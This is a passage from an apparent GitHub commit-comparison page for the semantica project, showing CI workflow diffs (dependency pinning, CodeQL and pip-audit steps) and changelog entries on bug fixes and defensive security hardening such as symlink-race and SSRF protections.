mirror of
https://github.com/semantica-agi/semantica.git
synced 2026-08-30 04:40:16 +00:00
Compare commits
41
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
fd95639bdd | ||
|
|
4513b61e40 | ||
|
|
8a4ebafb9a | ||
|
|
80b9bea0d5 | ||
|
|
5bc09a5f5a | ||
|
|
75f88b1c40 | ||
|
|
80b1cca07b | ||
|
|
1c0cebb1c3 | ||
|
|
94d0c3dc07 | ||
|
|
c0a051903f | ||
|
|
09c4b1b570 | ||
|
|
c5d13a45db | ||
|
|
611874e63e | ||
|
|
43bac6170c | ||
|
|
91d02a0f29 | ||
|
|
7c3372c062 | ||
|
|
2cfb5de43d | ||
|
|
0fa3483b96 | ||
|
|
18f1d55d77 | ||
|
|
b0080c3602 | ||
|
|
1ee3f2f214 | ||
|
|
1a3dd5038a | ||
|
|
c1154b6ed6 | ||
|
|
687a180721 | ||
|
|
bc63e962c9 | ||
|
|
9ec7959899 | ||
|
|
22bf581094 | ||
|
|
6328bfe52d | ||
|
|
81bb5f2ed8 | ||
|
|
b8e8b2f227 | ||
|
|
f821fa7e2e | ||
|
|
229cb69c50 | ||
|
|
cab995dc97 | ||
|
|
4d88218221 | ||
|
|
7654d8c6c7 | ||
|
|
70109133b5 | ||
|
|
7ce05a3848 | ||
|
|
21f5f3d9b3 | ||
|
|
772d22448a | ||
|
|
b6497ace41 | ||
|
|
b094268525 |
@@ -17,10 +17,10 @@ jobs:
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Set up Python 3.12
|
||||
- name: Set up Python 3.11
|
||||
uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7
|
||||
with:
|
||||
python-version: "3.12"
|
||||
python-version: "3.11"
|
||||
cache: 'pip'
|
||||
|
||||
- name: Install Dependencies
|
||||
|
||||
@@ -42,8 +42,28 @@ jobs:
|
||||
- name: Build Explorer frontend
|
||||
working-directory: explorer
|
||||
run: npm run build
|
||||
- name: Install pinned Python dependencies
|
||||
run: |
|
||||
pip install -r requirements-ci.txt
|
||||
- name: Verify requirements-ci.txt is up to date
|
||||
run: |
|
||||
pip install uv==0.12.1
|
||||
# Re-resolve with the committed file as a constraint: upstream package
|
||||
# releases must NOT fail CI (deps only change when pyproject.toml
|
||||
# changes intentionally). Compare only version lines (pkg==ver),
|
||||
# ignoring the -c constraint comments and the `\` line continuations
|
||||
# that --generate-hashes emits.
|
||||
uv pip compile pyproject.toml --python-version 3.11 --extra all \
|
||||
--constraint requirements-ci.txt -o /tmp/requirements-ci-check.txt
|
||||
diff \
|
||||
<(grep -E '^[a-zA-Z0-9._-]+==' requirements-ci.txt | sed 's/ \\$//') \
|
||||
<(grep -E '^[a-zA-Z0-9._-]+==' /tmp/requirements-ci-check.txt)
|
||||
- run: pip install build
|
||||
- run: python -m build
|
||||
# wheel is build-time only (not in requirements-ci.txt) — install the
|
||||
# same pinned version [build-system] declares so --no-isolation works.
|
||||
- run: pip install wheel==0.48.0
|
||||
- name: Build package (no isolation — pinned deps)
|
||||
run: python -m build --no-isolation
|
||||
- name: Verify Explorer frontend is packaged
|
||||
run: |
|
||||
python - <<'PY'
|
||||
|
||||
@@ -32,7 +32,7 @@ jobs:
|
||||
# meaningful state carried over from a failed attempt.
|
||||
- name: Initialize CodeQL (attempt 1)
|
||||
id: codeql-init-1
|
||||
uses: github/codeql-action/init@5595ccaf912efad79be6eef63a5619ff05969be3 # v4
|
||||
uses: github/codeql-action/init@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4
|
||||
continue-on-error: true
|
||||
with:
|
||||
languages: python
|
||||
@@ -42,7 +42,7 @@ jobs:
|
||||
- name: Initialize CodeQL (attempt 2)
|
||||
id: codeql-init-2
|
||||
if: steps.codeql-init-1.outcome == 'failure'
|
||||
uses: github/codeql-action/init@5595ccaf912efad79be6eef63a5619ff05969be3 # v4
|
||||
uses: github/codeql-action/init@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4
|
||||
continue-on-error: true
|
||||
with:
|
||||
languages: python
|
||||
@@ -52,17 +52,17 @@ jobs:
|
||||
- name: Initialize CodeQL (attempt 3)
|
||||
id: codeql-init-3
|
||||
if: steps.codeql-init-2.outcome == 'failure'
|
||||
uses: github/codeql-action/init@5595ccaf912efad79be6eef63a5619ff05969be3 # v4
|
||||
uses: github/codeql-action/init@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4
|
||||
with:
|
||||
languages: python
|
||||
queries: security-and-quality
|
||||
config-file: .github/codeql/codeql-config.yml
|
||||
|
||||
- name: Autobuild
|
||||
uses: github/codeql-action/autobuild@5595ccaf912efad79be6eef63a5619ff05969be3 # v4
|
||||
uses: github/codeql-action/autobuild@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4
|
||||
|
||||
- name: Perform CodeQL Analysis
|
||||
uses: github/codeql-action/analyze@5595ccaf912efad79be6eef63a5619ff05969be3 # v4
|
||||
uses: github/codeql-action/analyze@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4
|
||||
with:
|
||||
category: "/language:python"
|
||||
upload: false
|
||||
@@ -72,7 +72,7 @@ jobs:
|
||||
# Uploads results only when Default Setup is not active.
|
||||
# If Default Setup is still enabled, this step skips gracefully
|
||||
# instead of failing the workflow with HTTP 409.
|
||||
uses: github/codeql-action/upload-sarif@5595ccaf912efad79be6eef63a5619ff05969be3 # v4
|
||||
uses: github/codeql-action/upload-sarif@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4
|
||||
with:
|
||||
sarif_file: ${{ steps.codeql.outputs.sarif-output }}
|
||||
category: "/language:python"
|
||||
|
||||
@@ -57,7 +57,7 @@ jobs:
|
||||
# avoiding the guardian.cmd/checkov exit-code bug in the MSDO wrapper.
|
||||
tools: eslint,templateanalyzer,terrascan
|
||||
- name: Upload results to Security tab
|
||||
uses: github/codeql-action/upload-sarif@5595ccaf912efad79be6eef63a5619ff05969be3 # v4
|
||||
uses: github/codeql-action/upload-sarif@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4
|
||||
with:
|
||||
sarif_file: ${{ steps.msdo.outputs.sarifFile }}
|
||||
|
||||
@@ -82,7 +82,7 @@ jobs:
|
||||
}
|
||||
|
||||
- name: Upload Checkov results to Security tab
|
||||
uses: github/codeql-action/upload-sarif@5595ccaf912efad79be6eef63a5619ff05969be3 # v4
|
||||
uses: github/codeql-action/upload-sarif@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4
|
||||
if: always()
|
||||
with:
|
||||
sarif_file: reports/checkov.sarif
|
||||
|
||||
@@ -36,8 +36,16 @@ jobs:
|
||||
run: |
|
||||
npm ci
|
||||
npm run build
|
||||
# Install the pinned dependency set (with hashes) so the sdist/wheel
|
||||
# build runs against the same versions CI tests against.
|
||||
- name: Install pinned build dependencies
|
||||
run: pip install -r requirements-ci.txt
|
||||
- run: pip install build
|
||||
- run: python -m build
|
||||
# wheel is build-time only (not in requirements-ci.txt) — install the
|
||||
# same pinned version [build-system] declares so --no-isolation works.
|
||||
- run: pip install wheel==0.48.0
|
||||
- name: Build package (no isolation — pinned deps)
|
||||
run: python -m build --no-isolation
|
||||
- name: Verify Explorer frontend is packaged
|
||||
run: |
|
||||
python - <<'PY'
|
||||
|
||||
@@ -45,11 +45,14 @@ jobs:
|
||||
- name: Install dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
# Install the pinned dependency set FIRST so Safety scans Semantica's
|
||||
# exact CI/release dependency tree (requirements-ci.txt is generated
|
||||
# from pyproject.toml extras, so this covers the project's real deps).
|
||||
pip install -r requirements-ci.txt
|
||||
# Tooling AFTER the pinned set: installing safety/bandit/semgrep/jq
|
||||
# first lets the pinned requirements overwrite their transitive deps
|
||||
# (e.g. rich), which breaks the safety CLI at runtime.
|
||||
pip install safety bandit semgrep jq
|
||||
# Install the project itself (core deps + the LiteLLM provider extra)
|
||||
# so Safety scans Semantica's actual dependency tree, not just the
|
||||
# scanner tools' own dependencies.
|
||||
pip install -e ".[llm-litellm]"
|
||||
|
||||
- name: Run Safety Check (Package Vulnerabilities)
|
||||
run: |
|
||||
|
||||
@@ -4,6 +4,12 @@ on:
|
||||
schedule:
|
||||
- cron: '0 0 * * 1'
|
||||
workflow_dispatch:
|
||||
pull_request:
|
||||
branches: [main]
|
||||
paths:
|
||||
- 'pyproject.toml'
|
||||
- 'requirements-ci.txt'
|
||||
- '.github/workflows/security.yml'
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
@@ -16,6 +22,21 @@ jobs:
|
||||
- uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7
|
||||
with:
|
||||
python-version: '3.11'
|
||||
# Upgrade first: actions/setup-python's baked-in setuptools has been
|
||||
# behind known-vulnerable floors before (e.g. PYSEC-2026-3447 /
|
||||
# setuptools 75.1.0), so don't trust the preinstalled one.
|
||||
- run: python -m pip install --upgrade pip setuptools
|
||||
# Audit the pinned dependency set (requirements-ci.txt is compiled from
|
||||
# pyproject.toml with --extra all — the same coverage as the [all]
|
||||
# extra, minus the Linux-only gpu set — so this keeps scan parity with
|
||||
# CI/release builds without a time-dependent resolution). This is the
|
||||
# fix for PYSEC-2024-38 (#869): the bare-env job never had fastapi or
|
||||
# python-multipart installed to look at.
|
||||
- run: pip install -r requirements-ci.txt
|
||||
# PR runs gate on findings, since they're scoped to actual
|
||||
# pyproject.toml changes under review. The schedule/workflow_dispatch
|
||||
# runs stay non-blocking until a full pass over pre-existing findings
|
||||
# across the whole [all] tree has been done.
|
||||
- run: pip install pip-audit
|
||||
- run: pip-audit
|
||||
continue-on-error: true
|
||||
- run: pip-audit -r requirements-ci.txt
|
||||
continue-on-error: ${{ github.event_name != 'pull_request' }}
|
||||
|
||||
+138
@@ -9,6 +9,144 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
|
||||
|
||||
## [Unreleased]
|
||||
|
||||
### Added
|
||||
|
||||
- **`DistanceExporter.compute_pairs()` gains an opt-in `metric_errors` column to distinguish legitimate `None` results from computation failures** (#960, follow-up to #879) by @Karunasagar12
|
||||
- Previously, a `None` in `hop_count`/`weighted_distance`/`semantic_similarity`/betweenness could mean either "no path exists" or "the underlying computation raised" — logged as a warning per #879, but not otherwise surfaced, so the two cases were indistinguishable in exported CSV/JSONL/DataFrame data. `include=["metric_errors"]` now adds a `metric_errors` field per row: `""` when all requested metrics succeeded, or a comma-separated list of metric names that raised (e.g. `"hop_count,weighted_distance"`)
|
||||
- Opt-in only — default `compute_pairs()`/`to_csv()`/`to_dataframe()`/`to_jsonl()` schema is unchanged unless `"metric_errors"` is explicitly requested
|
||||
- The four metric helpers (`_betweenness`, `_hop_distance`, `_weighted_distance`, `_semantic_similarity`) now return `(value, error_name | None)` tuples internally; `compute_pairs()` aggregates the error names per row
|
||||
- **Fixed during review** (Qodo): `_betweenness()` failures weren't tracked into `metric_errors` in the initial version — centrality computation could raise and the column would still report `""`. Now returns its error tuple like the other three helpers
|
||||
- **Known limitation**: `include=["metric_errors"]` with no other metric names computes nothing, so the column is always `""` in that case — pass it alongside the metrics you want tracked, e.g. `include=["hop_count", "metric_errors"]`
|
||||
- New `tests/export/test_distance_exporter_metric_errors.py`: 6 tests covering success, single/multiple failures, opt-out, the no-path-vs-error distinction, and default-schema stability; existing `tests/export/test_distance_exporter.py` updated for the new tuple return type
|
||||
- Full `tests/export/` suite: 77 passed
|
||||
|
||||
### Changed
|
||||
|
||||
- **`GraphBuilder`'s 6 public methods now have Google-style docstrings** (#878, closes #876) by @cakeni
|
||||
- `semantica/kg/graph_builder.py`'s `build`, `build_single_source`, `add_temporal_edge`, `create_temporal_snapshot`, `query_temporal`, and `load_from_neo4j` — the core knowledge-graph construction API, imported directly by callers — previously had zero docstrings across all 6 methods, the only file in a 10-file audit sample with that gap, despite CONTRIBUTING.md requiring Google-style `Args`/`Returns`/`Raises`/`Example` docs for public methods. Added full docstrings for all 6, plus the previously undocumented `build_single_source`, with runnable (`# doctest: +SKIP`) usage examples
|
||||
- **Corrected during review**: `query_temporal`'s docstring claimed the query text was used to filter the graph; the implementation only records it in the result (`results = {"query": query, ...}`) with no interpretation or filtering. Corrected to state that explicitly
|
||||
- **Corrected during review**: `create_temporal_snapshot`'s docstring implied entities were filtered for validity at the snapshot timestamp like relationships are; the implementation copies all entities unfiltered and only filters `relationships` by `valid_from`/`valid_until`. Docstring now distinguishes the two
|
||||
- **Corrected during review**: `add_temporal_edge`/`create_temporal_snapshot` docstrings overclaimed numeric-timestamp support; `_parse_time()` only special-cases `str` and `datetime`, falling back to a bare `str()` cast for anything else (not true numeric parsing). Narrowed to "datetime or ISO-formatted string"
|
||||
- **Fixed along the way**: `build()`'s `**options` documented a default only for `extract`; `extract_relations`, `extract_triplets`, `ner_method`, `relation_method`, and `triplet_method` all have concrete defaults in `_extract_from_text()` (`True`, `True`, `"llm"`, `"llm"`, `"llm"`) that were left unstated, inconsistent with CONTRIBUTING.md's own docstring example of noting defaults inline
|
||||
- `python -m pytest tests/kg/test_kg.py tests/kg/test_graph_builder_external.py -q`: 45 passed
|
||||
- **`GraphBuilder` raw-text extraction now defaults to local extractors instead of LLM extraction** (closes #930) by @dex0shubham
|
||||
- `GraphBuilder._extract_from_text()` defaulted `ner_method`, `relation_method`, and `triplet_method` to `"llm"`, and ran relation extraction unconditionally (`extract_relations` defaulted to `True`) — all four contradicting the defaults documented in the `build()` docstring at the time (`"ml"` / `"pattern"` / `False`), and diverging from the standalone extractors (`NERExtractor` defaults to `method="ml"`, `RelationExtractor` and `TripletExtractor` to `method="pattern"`). The practical effect was that any raw-text `build()` call silently required a configured provider, an API key, and network access
|
||||
- Defaults are now `ner_method="ml"`, `relation_method="pattern"`, `triplet_method="pattern"`, and `extract_relations=False`, matching the docstring. LLM extraction remains fully available and is now opt-in
|
||||
- **To restore the previous behaviour**, pass the methods explicitly:
|
||||
```python
|
||||
builder.build(
|
||||
sources,
|
||||
ner_method="llm",
|
||||
relation_method="llm",
|
||||
triplet_method="llm",
|
||||
extract_relations=True,
|
||||
)
|
||||
```
|
||||
- #878 landed in the meantime and resolved the same mismatch in the opposite direction, documenting the LLM values (`"llm"` / `"llm"` / `"llm"`, `extract_relations: True`) as the contract. Per the decision on #930 the code is the side that changes, so those docstring defaults are corrected here to `"ml"` / `"pattern"` / `"pattern"` / `False`, keeping #878's formatting
|
||||
- Removed the stale `# Default to LLM methods as per requirement` comment, which read as an intentional decision but did not match the documented contract
|
||||
- **Fixed along the way**: `_extract_from_text()` constructed a fresh extractor for every text, and `NERExtractor.__init__` loads its spaCy model eagerly when the method includes `"ml"` — so with the new default, a multi-document build would have reloaded the model once per source. Extractors are now built once per `(kind, method)` and reused for the lifetime of the builder, via `GraphBuilder._get_extractor()`. This path was previously unreachable by default because the old `"llm"` default never touched spaCy
|
||||
- **Fixed along the way**: `_extract_from_text()` never forwarded its extracted relations to triplet extraction — it passed only `entities=`, so `TripletExtractor` re-derived relations itself (via a method taken from `triplet_method`) whenever `relations is None`, duplicating work and producing triplets that could disagree with the relations already extracted using `relation_method`. Relations are now passed through as `relations=`; when relation extraction is disabled or fails, `None` is forwarded and `TripletExtractor` keeps its existing self-derivation behaviour
|
||||
- **Fixed along the way**: `GraphBuilder._extraction_stats` was only initialised inside `build()`, so calling `_extract_from_text()` directly raised an `AttributeError` that the extraction path's broad `except` swallowed and reported as `"Entity extraction failed"`. It is now seeded in `__init__` as well; `build()` still resets it per run
|
||||
- New regression coverage in `tests/kg/test_graph_builder_extraction_defaults.py` pinning all four defaults, verifying that no default resolves to `"llm"`, confirming explicit LLM opt-in still routes correctly, asserting extractors are constructed once across repeated texts, covering fallback method lists (e.g. `ner_method=["pattern", "ml"]`) for all three extractors, asserting relations are forwarded to triplet extraction (and that `None` is forwarded when relation extraction is disabled or fails), and running the real default path end to end with no provider mocked. Verified to fail against the pre-fix code
|
||||
- Full `kg` suite: 473 passed
|
||||
|
||||
### Fixed
|
||||
|
||||
- **Explorer UI hid backend failures: graph load hung forever, landing page always showed "System Online"** (#980, closes #977) by @ZohaibHassan16, reviewed by @Sameer6305
|
||||
- `GraphWorkspace.tsx` only destructured `{ data, isLoading, isFetching }` from `useLoadGraph()`, ignoring the `isError`/`error`/`refetch` that `useQuery` (`retry: 0`) already returned. Combined with `GraphLoadingOverlay` having no error prop and `showLoadingOverlay` staying true whenever `loadingProgress` held a stale frame, a backend-down or failed fetch left the graph workspace stuck on the last progress frame indefinitely, with no error message and no way to recover short of a full page reload
|
||||
- `GraphLoadingOverlay` now accepts `error`/`onRetry` and renders an error card with the real fetch error message and a Retry button (`refetch()`) instead of the stuck progress UI
|
||||
- The landing page's `WelcomeScreen` replaced its hardcoded `ready: boolean` (and hardcoded "System Online" text) with a real `checking` / `online` / `offline` status derived from the same connectivity probe already driving the 4th metric card, so the status dot, text, and metric can no longer drift apart or lie about connectivity
|
||||
- **Smaller fixes bundled in the same PR**: search results are now dismissible (previously stayed open indefinitely, pushing the graph down); relevance scores display as rounded whole numbers instead of `96.900`/`138.000`; added a debounced (250ms) typeahead combobox to graph search with arrow-key navigation, `aria-activedescendant`, and Escape-to-close, using the existing `/api/graph/search` endpoint
|
||||
- **Fixed during review** (Qodo): the typeahead's debounced fetch had no `AbortController`, so a fast-typing user could have a stale suggestion response resolve after a newer one, replacing correct suggestions with outdated ones. In-flight requests are now aborted on every re-debounce and when the query is cleared after a selection
|
||||
- **Noted during review** (@Sameer6305): `GraphWorkspaceShell.tsx` contains a third, unused implementation of the same graph-loading/error-handling logic this PR fixes — the issue itself named "two copies that drifted apart" as the root cause the original bug slipped through. Deliberately left out of this PR's scope and tracked separately in #981 rather than blocking this fix
|
||||
- `npx tsc -b`: clean; `test:graph-store`/`test:graph-workspace`/`test:plugin-registry`: 42 passed; `npm run build`: succeeds
|
||||
|
||||
- **Markdown import hardened against TOCTOU symlink races during file reads** (#932, closes #856) by @lakshanmuruganandam, with fixes by @Sameer6305
|
||||
- `AgentMemory._read_markdown_path` read files via `Path.read_text()` after a `Path.is_symlink()` pre-check, leaving a time-of-check/time-of-use window: a path validated as a regular file could be swapped for a symlink before the actual read, causing the importer to follow the link and read an unintended target
|
||||
- Reads now go through a new `_read_markdown_file_content()` helper: the path is opened via low-level `os.open()` with `os.O_NOFOLLOW` on platforms that support it (POSIX), so a symlink substituted after validation fails atomically with `ELOOP` instead of being followed; the resulting file descriptor is then verified with `os.fstat()`/`stat.S_ISREG()` to reject non-regular files (FIFOs, devices) even after a successful open
|
||||
- Directory imports now also exclude symlinked entries from the file listing (`not file_path.is_symlink()`), consistent with the single-file path already rejecting them
|
||||
- **Known limitation**: Windows has no `os.O_NOFOLLOW`, so on that platform the only defense is the earlier `is_symlink()` pre-check, leaving a narrow TOCTOU window; documented inline rather than implying a stronger cross-platform guarantee than the implementation provides
|
||||
- New `tests/context/test_agent_memory_markdown.py` coverage: rejecting a symlinked path at both the private helper and the public `import_data()` API, silently excluding symlinked entries during directory import, and the `fstat()`/`S_ISREG` guard against non-regular files (mocked FIFO)
|
||||
- `pytest tests/context/test_agent_memory_markdown.py`: 46 passed, 4 skipped (symlink-creation tests skip on Windows without `SeCreateSymbolicLinkPrivilege`)
|
||||
|
||||
- **`VectorManager.maintain_store()`/`collect_statistics()` crashed with `AttributeError` on persistent `VectorStore` backends** (#914, closes #855) by @yunaremaia, with fixes by @Sameer6305
|
||||
- Both methods accessed `store.vectors`/`store.metadata` directly, which are only initialized for the `inmemory` backend — any persistent backend (FAISS, Qdrant, Pinecone, Milvus, SQLite, PgVector, Weaviate) crashed immediately. Same root cause as the #839/#843/#845/#848 cluster, but `VectorManager` operates on a `VectorStore` instance from the outside, so the fix needed a public accessor rather than another internal guard
|
||||
- Added a backend-agnostic `VectorStore.count()`: the `inmemory` backend counts its local dict; persistent backends delegate to a `count()` on the wrapped backend store when one exists, or raise `NotImplementedError` — following the `get_vector()`/`get_metadata()` precedent from #843, a missing/uninitialized backend store is never silently reported as an empty, healthy store
|
||||
- `maintain_store()` and `collect_statistics()` now go through `store.count()` instead of touching `.vectors`/`.metadata`
|
||||
- **Fixed during review** (@Sameer6305): the initial version had `count()` implemented at the dispatch level only, with no shipped backend actually providing one, and `maintain_store()` manufactured a vacuous `metadata_count == vector_count` tautology for persistent backends (always reporting `healthy: True` without checking anything). Added real `count()` implementations to `FAISSStore` (`len(index.vector_ids)` — FAISS has no delete path, so this list is always consistent with the index), `SQLiteVecStore`, and `PgVectorStore` (both via `SELECT COUNT(*)`); `Qdrant`/`Pinecone`/`Milvus`/`Weaviate` continue to raise `NotImplementedError` since none of them guarantee a cheap, reliable synchronous count. `maintain_store()` now reports `metadata_count: None` for persistent backends instead of the fabricated equality, with `healthy` meaning "store is reachable," not "metadata verified"
|
||||
- Two earlier Qodo findings (a count() path that silently returned 0 for a missing backend store, and an unvalidated `hasattr` check that could raise `TypeError` on a mis-shaped adapter) were fixed before this review — replaced with `NotImplementedError` and a `getattr`+`callable()` capability check, respectively
|
||||
- New `tests/vector_store/test_vector_manager_persistent.py`: dispatch-level tests for `count()` (inmemory, delegation, missing backend, non-callable `count`, mis-shaped adapter), full `VectorManager` inmemory semantics including divergence detection, persistent-backend dispatch tests, and backend-specific tests against real/mocked FAISS, SQLite (`sqlite-vec`, skipped if unavailable), and PgVector stores
|
||||
- Core `vector_store` suite: 40 passed
|
||||
|
||||
- **`ContextGraph.get_node_property`/`get_node_attributes` "not found" contract clarified; `add_node_attribute` mutation-callback exception safety fixed** (#882, closes #877) by @ZohaibHassan16
|
||||
- `get_node_property` returned `None` for both "node missing" and "property missing" with no way to distinguish them, and `get_node_attributes` returned `{}` for a missing node while its siblings disagreed on the not-found signal (`get_node_property`/`find_node` → `None`, `get_edge_data` → `{}`). Both now accept a `default=` parameter matching `dict.get()`'s convention, defaulting to their historical return values (`None` and `{}` respectively) for backward compatibility. Callers that need to disambiguate "node missing" from "value legitimately absent" can pass a private sentinel as `default`
|
||||
- Added Google-style docstrings to `get_node_property`, `get_node_attributes`, `get_edge_data`, and `find_node` documenting each method's not-found contract, addressing #877's "sibling not-found contract undocumented" gap
|
||||
- **Corrected during review**: the PR as submitted claimed to fix `add_node_attribute` firing its `mutation_callback` "outside `with self._lock`, without holding the lock," but the diff only removed a stray blank line — the callback call remained outside the lock, unchanged. Further investigation found this was not actually a bug: `self._lock` is a `threading.RLock`, and the same release-the-lock-before-invoking-the-callback pattern is used deliberately in `_add_internal_node`/`_add_internal_edge` elsewhere in this class, avoiding holding the lock for the duration of an arbitrary user-supplied callback. The real inconsistency was that, unlike those two siblings, `add_node_attribute`'s callback call wasn't wrapped in `try/except` — a raising callback propagated uncaught here but was caught and logged there. Now wrapped the same way (`except Exception as e: self.logger.warning(...)`)
|
||||
- 13 tests covering happy path, missing node, missing property, sentinel disambiguation, falsy-zero, callback firing/non-firing, and (added during review) a raising callback no longer propagating out of `add_node_attribute`
|
||||
- `pytest tests/context/test_context.py -q`: 27 passed
|
||||
|
||||
- **Three `tests/normalize/` tests failed for reasons unrelated to the normalize implementations: a missing optional-dependency skip guard, an incomplete chardet allowlist, and a UTC/local timezone mismatch** (#881, closes #860) by @aoright
|
||||
- `test_detect_language`/`test_detect_with_confidence` in `tests/normalize/test_language_detector.py` asserted on real `langdetect` output with no skip guard, even though `langdetect` is an optional dependency absent from `pyproject.toml` that `LanguageDetector` already degrades gracefully without (`LANGDETECT_AVAILABLE = False`, falls back to `default_language`) — any environment without it failed both tests unconditionally, including a fresh CI run without optional extras installed. Both are now gated with `@unittest.skipUnless(LANGDETECT_AVAILABLE, ...)`
|
||||
- `test_detect_encoding` in `tests/normalize/test_encoding_handler.py` asserted `chardet.detect()`'s result against a 3-name allowlist (`iso-8859-1`/`windows-1252`/`latin-1`); on a short Latin-1 sample, chardet is free to return other compatible single-byte codepages (e.g. `windows-1253`), which fails the allowlist and then cascades into `test_convert_to_utf8` decoding the bytes as Greek instead of the original text. The test now uses a longer, unambiguous Latin-1 corpus and asserts that the detected encoding round-trip-decodes the original text instead of matching a fixed name list; `test_convert_to_utf8` now passes `source_encoding="latin-1"` explicitly rather than relying on chardet's heuristic auto-detection
|
||||
- `test_normalize_date_relative` in `tests/normalize/test_date_normalizer.py` compared `RelativeDateProcessor`'s local-clock-based `"today"` (`datetime.now()`, naive, UTC-normalized after the fact by `convert_to_utc()`) against a separately-computed UTC reference date — failing intermittently in any timezone east of UTC whenever the local and UTC dates diverge for part of the day. The test now patches `datetime.now()` to a fixed reference time, making the assertion independent of host timezone
|
||||
- `pytest tests/normalize`: 77 passed, 2 skipped (`langdetect` not installed); `black`/`isort`/`flake8 --max-line-length=88` clean on all three changed files. Test-only change; no production code touched
|
||||
|
||||
- **MCP server reported a stale `0.4.0` version instead of the installed package version** (#870, closes #863) by @oiahoon
|
||||
- `semantica/mcp_server/__init__.py` hardcoded `"version": "0.4.0"` in both the MCP `initialize` response (`SERVER_INFO`) and the `semantica://schema/info` resource, regardless of the actual installed `semantica` version — every MCP client (Claude Desktop, Windsurf, Cline, Continue, VS Code Copilot, etc.) showed the wrong server version. Both surfaces now derive from `semantica.__version__`, the package's authoritative version source, so they can no longer drift from `pyproject.toml`
|
||||
- New regression coverage in `tests/test_mcp_server_version.py`, including `!= "0.4.0"` canaries and a cross-surface consistency check
|
||||
- **Fixed along the way**: the separate root-level `mcp/` package (`mcp/__init__.py`, `mcp/server.py`, `mcp/resources/registry.py`) — a companion MCP server implementation not included in the built distribution, but documented in `mcp/__init__.py` as a supported way to run against Claude Desktop/Windsurf/etc. from a source checkout — had the same three hardcoded `0.4.0` literals; fixed the same way, with matching regression tests in `tests/test_mcp_package_version.py`
|
||||
|
||||
- **`VectorStore._filter_by_metadata()` `AttributeError` on all persistent backends** (#857, closes #849) by @TaherTadpatri
|
||||
- `_filter_by_metadata()` iterated `self.metadata` directly, which only exists on the `inmemory` backend — any persistent backend (`faiss`, `qdrant`, `pinecone`, `milvus`, `pgvector`, `sqlite`, `weaviate`) crashed with `AttributeError` on `filter_decisions(query=None, ...)` / metadata-only filtering. Filtering is now delegated to a native `filter_by_metadata()` implemented on each backend store, using backend-native payload/SQL/JSON filtering (Qdrant `scroll()`, Pinecone `query()`, Milvus expression filters, PostgreSQL JSONB, SQLite `json_extract()`, Weaviate collection filters)
|
||||
- **Fixed along the way**: `PineconeStore.get_index()` and `filter_by_metadata()` called a nonexistent `self.describe_index_stats()` on the store itself (the method only exists on the `PineconeIndex` wrapper returned by `self.index`); the resulting `AttributeError` was silently swallowed, so dimension auto-detection always failed quietly. Now correctly calls `self.index.describe_index_stats()`
|
||||
- **Fixed along the way**: `PineconeStore.filter_by_metadata()` probed for filter-only matches using an all-zero dummy query vector, which Pinecone rejects for cosine-metric indexes — the library's own default — making metadata-only filtering silently non-functional out of the box. Now uses a unit vector instead
|
||||
- **Fixed along the way**: `PgVectorStore.filter_by_metadata()`'s list-filter branch formatted boolean values with `str(v)` (`'True'`/`'False'`), never matching PostgreSQL JSONB's lowercase `'true'`/`'false'` text rendering, even though the equivalent scalar-filter branch already handled this correctly
|
||||
- **Fixed along the way**: list-valued metadata fields (e.g. `{"tags": ["python", "js"]}`) could never match a list filter on the SQLite or PostgreSQL backends, because both extracted the whole array as its JSON/text representation instead of matching individual elements — silently diverging from the in-memory backend's set-intersection semantics. SQLite now uses `json_each()` over a `json_type`-guarded array/scalar wrapper; PostgreSQL now uses the `?|` "any array element" operator alongside the existing scalar `= ANY(...)` path
|
||||
- **Fixed along the way**: `FAISSStore.filter_by_metadata(limit=0)` returned one result instead of zero, because the limit check ran after appending the current match
|
||||
- **Fixed along the way**: `MilvusStore`'s metadata expression builder rendered `NaN`/`Infinity` filter values as bare unquoted tokens, producing an invalid Milvus expression whose server-side rejection was then swallowed by a broad `except`, indistinguishable from "no matches"; these values are now rejected up front with a clear `ValidationError`
|
||||
- New/expanded test coverage in `tests/vector_store/test_backend_metadata_filtering.py` (all 7 backends, including the Pinecone dimension/zero-vector, PgVector boolean-list, FAISS `limit=0`, and Milvus `NaN` regressions) and `tests/vector_store/test_sqlite_vec_store.py` (new `TestSQLiteVecStoreFilterByMetadata`, run against the real `sqlite-vec` extension, including the array-vs-scalar intersection case)
|
||||
|
||||
- **`DistanceExporter` silently swallowed metric computation failures, exporting `None` values indistinguishable from a legitimate "no path" result** (#879, closes #874) by @AmirF194
|
||||
- `_betweenness`, `_hop_distance`, `_weighted_distance`, and `_semantic_similarity` each caught `Exception` and returned their sentinel (`None`/`{}`) with no logging; a failed computation and a real "no path exists" looked identical in exported CSV/JSONL/DataFrame data. All four now log a `warning` with `exc_info=True` before returning the sentinel; exported row shape and values are unchanged
|
||||
- **Fixed along the way**: the module logger was built with `get_logger(__name__)`, which double-prefixed it to `semantica.semantica.export.distance_exporter` — a name `setup_logging()` never configures — so this module's logging (including a pre-existing `logger.debug` call) was silent regardless. Now uses `get_logger("export.distance_exporter")`, matching every other exporter in the module
|
||||
- New regression coverage in `tests/export/test_distance_exporter.py`: warnings fire on exception for all four helpers, exported sentinel values/shape stay unchanged, and the legitimate "no KG backend" `None` path still logs nothing
|
||||
- Full `tests/export/` suite: 71 passed
|
||||
|
||||
### Security
|
||||
|
||||
- **`FeedIngestor`/`FeedMonitor` (RSS/Atom feed ingestion) had no SSRF protection, allowing requests to internal/private network targets** (#928, closes #927) by @ZohaibHassan16
|
||||
